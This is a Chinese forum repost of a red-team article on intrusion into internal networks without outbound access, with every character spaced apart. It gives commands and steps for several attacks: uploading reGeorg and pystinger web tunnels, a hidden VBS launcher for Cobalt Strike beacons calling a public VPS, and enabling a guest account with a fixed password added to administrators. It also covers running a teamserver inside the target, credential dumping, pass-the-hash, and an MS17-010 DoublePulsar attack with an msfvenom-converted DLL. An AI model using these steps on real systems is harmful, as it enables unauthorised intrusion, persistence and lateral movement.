搜索

[15776] 2020-08-26_内网渗透：不出网渗透技巧

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-08-26_内网渗透：不出网渗透技巧 内 网 渗 透 ： 不 出 网 渗 透 技 巧 原 创   诺 言   F r e e B u f   2 0 2 0 - 0 8 - 2 6 前 言 前 言 在 最 近 的 攻 防 演 练 中 ， 遇 到 几 个 内 网 环 境 都 不 通 外 网 的 情 况 ， 因 此 ， 整 理 下 用 到 的 几 种 不 出 网 内 网 渗 透 技 巧 。 s o c k s 隧 道 搭 建 隧 道 搭 建 常 用 工 具 ： r e G e o r g , P r o x i f i e r 用 的 比 较 多 的 一 个 隧 道 代 理 工 具 1 、 上 传 对 应 语 言 的 脚 本 到 目 标 服 务 器 的 网 站 目 录 下 2 、 通 过 浏 览 器 访 问 上 传 的 脚 本 文 件 ， 显 示 如 下 表 示 成 功 。 3 、 本 地 运 行 r e G e o r g S o c k s P r o x y . p y ， - p 为 指 定 隧 道 的 端 口 ， - u 为 刚 刚 上 传 的 t u n n e l 文 件 地 址 。 p y t h o n   r e G e o r g S o c k s P r o x y . p y   - p   8 8 8 8   - u   h t t p : / / x . x . x . x / t u n n e l . p h p
5 、 成 功 把 本 机 带 入 内 网 。 c s 上 线 上 线 c s 逐 渐 成 为 内 网 渗 透 中 使 用 最 多 的 工 具 ， 在 目 标 不 通 外 网 的 情 况 下 ， 无 法 直 接 与 公 网 的 c s 服 务 端 建 立 连 接 。 p y s t i n g e r 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / F u n n y W o l f / p y s t i n g e r 通 过 w e b s h e l l 实 现 内 网 S O C K 4 代 理 ， 端 口 映 射 可 以 使 目 标 不 出 网 情 况 下 在 c s 上 线 。
直 接 使 用 c s 多 主 机 上 线 方 法 。 首 先 上 传 对 应 语 言 的 脚 本 到 网 站 目 录 下 。 将 s t i n g e r _ s e r v e r . e x e 上 传 到 目 标 服 务 器 创 建 s t i n g e r _ s e r v e r . v b s 文 件 , 示 例 如 下 : S e t   w s   =   C r e a t e O b j e c t ( " W s c r i p t . S h e l l " ) w s . r u n   " c m d   / c   D : X X X X X s t i n g e r _ s e r v e r . e x e   0 . 0 . 0 . 0 " , v b h i d e
把 s t i n g e r _ c l i e n t 上 传 到 公 网 v p s ， - w 指 定 p r o x y 的 u r l 地 址 运 行 。 c h m o d   7 7 7   s t i n g e r _ c l i e n t . / s t i n g e r _ c l i e n t   - w   h t t p : / / x . x . x . x / p r o x y . j s p   - l   0 . 0 . 0 . 0   - p   6 0 0 0 0
抓 取 上 线 的 主 机 密 码 。 对 内 网 其 它 主 机 进 行 p t h 攻 击 ， 选 择 刚 才 建 立 的 监 听 器 。
目 标 主 机 成 功 上 线 。 坑 点 ： 使 用 过 程 中 c s 会 话 可 能 假 死 掉 ， 需 要 把 s t i n g e r _ s e r v e r . e x e 进 程 结 束 掉 ， 然 后 重 新 启 动 。 在 目 标 内 网 搭 建 在 目 标 内 网 搭 建 c s 服 务 端 服 务 端 如 果 拿 下 了 目 标 主 机 的 管 理 员 权 限 ， 可 以 激 活 g u e s t 用 户 ， 建 立 基 于 h t t p 的 s o c k s 隧 道 ， 登 录 远 程 桌 面 ， 在 目 标 内 网 搭 建 c s 服 务 端 。 缺 点 ： 被 发 现 概 率 上 升 ； 需 要 安 装 j a v a 环 境 ； 基 于 w e b 的 s o c k s 隧 道 速 度 很 慢 ， 心 态 容 易 蹦 。 首 先 激 活 g u e s t 用 户 n e t   u s e r   g u e s t       / a c t i v e : y e s n e t   u s e r   g u e s t       1 q 2 w 3 e 4 r @ n e t   l o c a l g r o u p       a d m i n i s t r a t o r s     g u e s t       / a d d
上 传 c s 4 . 0 到 目 标 服 务 器 。 运 行 服 务 端 t e a m s e r v e r . b a t   x . x . x . x   1 q 2 w 3 e 4 r
点 击 c s . b a t 运 行 客 户 端 然 后 就 可 以 直 接 在 内 网 操 作 c s 了 。 m s 1 7 0 1 0 横 向 利 用 横 向 利 用
内 网 渗 透 中 常 用 的 攻 击 手 段 ， 随 着 补 丁 和 杀 软 的 普 及 ， 能 利 用 的 场 景 越 来 越 少 ， 而 且 容 易 造 成 目 标 蓝 屏 ， 影 响 业 务 ， 所 以 谨 慎 使 用 。 之 前 的 利 用 都 是 在 通 外 网 下 情 况 下 利 用 m s f 攻 击 。 本 次 在 目 标 不 出 网 的 情 况 下 进 行 利 用 。 方 程 式 漏 洞 利 用 工 具 方 程 式 漏 洞 利 用 工 具 生 成 对 应 监 听 器 的 b i n 文 件 。 使 用 m s f 把 c s 生 成 的 b i n 文 件 转 化 为 方 程 式 利 用 工 具 可 以 使 用 的 d l l 文 件 。 m s f v e n o m   - p   g e n e r i c / c u s t o m   P A Y L O A D F I L E = . / p a y l o a d . b i n   - a   x 6 4   - - p l a t f o r m   w i n d o w s   - f   d l l   - o   x 6 4 . d l l
把 原 来 的 x 6 4 . d l l 文 件 替 换 掉 ， 把 工 具 上 传 到 目 标 主 机 上 。 设 置 t a r g e t i p 为 存 在 漏 洞 的 主 机 i p ， 设 置 系 统 类 型 ， 点 击 a t t a c k 执 行 利 用 工 具 ， 利 用 成 功 返 回 s u c c e s s 。 选 择 d o u b l e p u l s a r 模 块 ， 配 置 i p 选 择 位 数 ， 默 认 加 载 d l l ， 点 击 a t t a c k 在 攻 击 主 机 执 行 刚 刚 生 成 的 x 6 4 . d l l 文 件 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理